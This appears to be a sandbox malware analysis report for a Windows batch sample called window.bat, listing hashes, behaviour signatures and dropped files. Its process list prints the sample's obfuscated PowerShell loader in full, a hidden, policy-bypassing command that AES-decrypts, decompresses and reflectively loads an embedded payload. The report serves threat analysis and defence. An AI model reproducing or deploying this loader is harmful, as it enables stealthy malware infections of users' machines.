Overview

overview

8

Static

static

window.bat

windows7-x64

8

window.bat

windows10-2004-x64

8

Analysis

  • max time kernel
    112s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2023, 07:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    window.bat
  • Size 41KB
  • Sample230128-h4x77sed52
  • SHA256 e2cac63bf32a0e4e80b2886b902d3fda4bb3de35dc9bec1c6eb954198c51e374
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\window.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Users\Admin\AppData\Local\Temp\window.bat.exe
      "window.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $hfShb = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\window.bat').Split([Environment]::NewLine);foreach ($TIZnc in $hfShb) { if ($TIZnc.StartsWith(':: ')) { $OPowf = $TIZnc.Substring(3); break; }; };$kJJdx = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OPowf);$xypSr = New-Object System.Security.Cryptography.AesManaged;$xypSr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xypSr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xypSr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cao+K/bvGpiu3YwMcce0n/wD4E4gfQmkj3F2tfn9rZk=');$xypSr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lAK9B8Af6zbgofnvIf4zYQ==');$wkMnt = $xypSr.CreateDecryptor();$kJJdx = $wkMnt.TransformFinalBlock($kJJdx, 0, $kJJdx.Length);$wkMnt.Dispose();$xypSr.Dispose();$XQlHS = New-Object System.IO.MemoryStream(, $kJJdx);$CoXOG = New-Object System.IO.MemoryStream;$AbQce = New-Object System.IO.Compression.GZipStream($XQlHS, [IO.Compression.CompressionMode]::Decompress);$AbQce.CopyTo($CoXOG);$AbQce.Dispose();$XQlHS.Dispose();$CoXOG.Dispose();$kJJdx = $CoXOG.ToArray();$MnaeK = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($kJJdx);$INAif = $MnaeK.EntryPoint;$INAif.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4188

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        window.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\window.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        window.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\window.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        memory/4188-134-0x000001DB50BB0000-0x000001DB50BD2000-memory.dmp
        Download

        memory/4188-136-0x00007FF8A6C90000-0x00007FF8A7751000-memory.dmp
        Download

        memory/4188-137-0x00007FF8A6C90000-0x00007FF8A7751000-memory.dmp
        Download